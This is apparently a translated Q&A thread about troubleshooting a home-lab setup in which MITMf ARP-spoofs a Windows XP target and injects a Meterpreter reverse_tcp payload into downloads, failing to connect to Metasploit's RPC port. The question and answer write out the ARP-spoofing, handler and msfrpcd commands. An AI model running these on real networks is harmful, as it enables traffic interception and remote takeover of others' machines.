Вопрос или проблема
Я пытаюсь внедрить вредоносный код в http-запрос. У меня есть личный LAMP-сервер, виртуальная машина Kali и самая невероятная виртуальная машина Windows XP. Всё это находится в моей сети и легально. Я следовал этому учебнику.
Я запустил Metasploit с помощью следующей команды
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.4
set LPORT 8843
exploit -j
Когда я смотрел видео, Metasploit говорит
[*] Starting the payload handler...
С моей стороны он начинает с этого, а затем возвращает меня к консоли. Странно, но что же, предположим, так и должно быть.
Теперь я пытаюсь запустить mitmf в другом окне терминала
sudo ./mitmf.py --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.244 --filepwn
Теперь это сообщение об ошибке, которое я получаю от mitmf.
[*] MITMf v0.9.8 - 'Темная сторона'
|
|_ Net-Creds v1.0 онлайн
|_ Spoof v0.6
| |_ ARP spoofing включен
|_ FilePwn v0.3
| |_ BDFProxy v0.3.2 онлайн
2018-07-17 02:23:27 [ARPpoisoner] Восстановление соединения 192.168.1.244 <-> 192.168.1.1 с 2 пакетами на хост
[Msfrpc] Ошибка подключения к Metasploit: HTTPConnectionPool(host="127.0.0.1", port=55552): Превышено максимальное количество попыток с url: /api/ (Причина: NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7fd9b7772290>: Не удалось установить новое соединение: [Errno 111] Соединение отклонено',))
Я немного погуглил и нашел эту тему.
https://github.com/byt3bl33d3r/MITMf/issues/343
Я следовал его инструкциям по двум командам и снова начал весь процесс без успеха. Я даже пытался изменить LPORT на 55552, но это тоже не сработало. Я не являюсь экспертом в Metasploit, поэтому даже не знаю, что искать. Как я могу дальше устранить эту неполадку?
Если вы используете Kali Linux, решите эту проблему, используя следующую команду для установки MITMf
apt-get install mitmf
Даже если оригинальные инструкции, предоставленные автором программного обеспечения, работают как ожидается и без ошибок, они все равно трагически ужасны.
Ответ или решение
MITMF не подключается к Metasploit (HTTP-инъекция): Решение проблемы
Проблема, с которой вы столкнулись, связана с ошибками подключения MITMf к Metasploit. Давайте подробно рассмотрим возможные причины и решения этой проблемы.
1. Проверка состояния Metasploit
Для начала убедитесь, что Metasploit правильно запущен и работает. Вы уже выполнили команду:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.4
set LPORT 8843
exploit -j
Ваша команда корректна, но попробуйте дополнительно убедиться, что:
- Metasploit действительно запущен. Ваша консоль должна показывать сообщение, подтверждающее запуск.
- Проверьте, слушает ли Metasploit на нужном порту. Можно использовать следующую команду для этого:
netstat -tuln | grep 8843
Эта команда покажет, слушает ли ваш Metasploit на порту 8843.
2. Конфигурация MITMf
Вы используете следующую команду для запуска MITMf:
sudo ./mitmf.py --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.244 --filepwn
Однако вы получаете сообщение об ошибке:
Error connecting to Metasploit: HTTPConnectionPool(host="127.0.0.1", port=55552): Max retries exceeded...
Это указывает на то, что MITMf не может подключиться к Metasploit на порту 55552.
3. Изменение порта Metasploit
Одним из решений будет изменить порт, на который MITMf пытается подключиться. Прежде всего, убедитесь, что вы используете правильный RPC-порт. Изменения, которые следует внести:
-
Запустите Metasploit с RPC-сервером:
Запустите следующую команду в консоли Metasploit:msfconsole -r <your-script.rc>
Если вы используете
msfrpcd
, например:msfrpcd -p 55552 -n -e -o 127.0.0.1
Это указало бы RPC-сервер слушать на порту 55552 на локальном хосте.
-
Изменение конфигурации MITMf:
После того как вы удостоверитесь, что Metasploit работает с правильным RPC-портом, убедитесь, что MITMf настроен на подключение к этому порту. Вам нужно найти настройки в MITMf, которые указывают, к какому порту подключаться, и изменить на 55552.
4. Установка и обновление MITMf
Если ничего из вышеперечисленного не работает, попробуйте выполнить переустановку MITMf через apt-get:
apt-get install mitmf
Это гарантирует, что у вас последняя версия MITMf с исправлениями ошибок и необходимыми зависимостями.
5. Проверка зависимостей и окружения
Убедитесь в актуальности всех зависимостей, которые могут быть необходимы для работы MITMf и Metasploit. Выполните:
apt-get update
apt-get upgrade
Также проверьте настройки вашей сети и убедитесь, что ваш Kali VM и Windows XP VM могут взаимодействовать друг с другом, и нет никаких брандмауэрных блокировок.
Заключение
Проблемы с подключением MITMf к Metasploit могут быть связаны с некорректной настройкой портов и зависимостями. Пройдитесь по всем предложенным шагам и проверьте настройки системы, это должно помочь вам восстановить связь между MITMf и Metasploit. Если после проверки всех вышеперечисленных шагов проблема остается, рассмотрите возможность публикации дополнительной информации о ваших настройках в соответствующих форумах для получения более детальной помощи.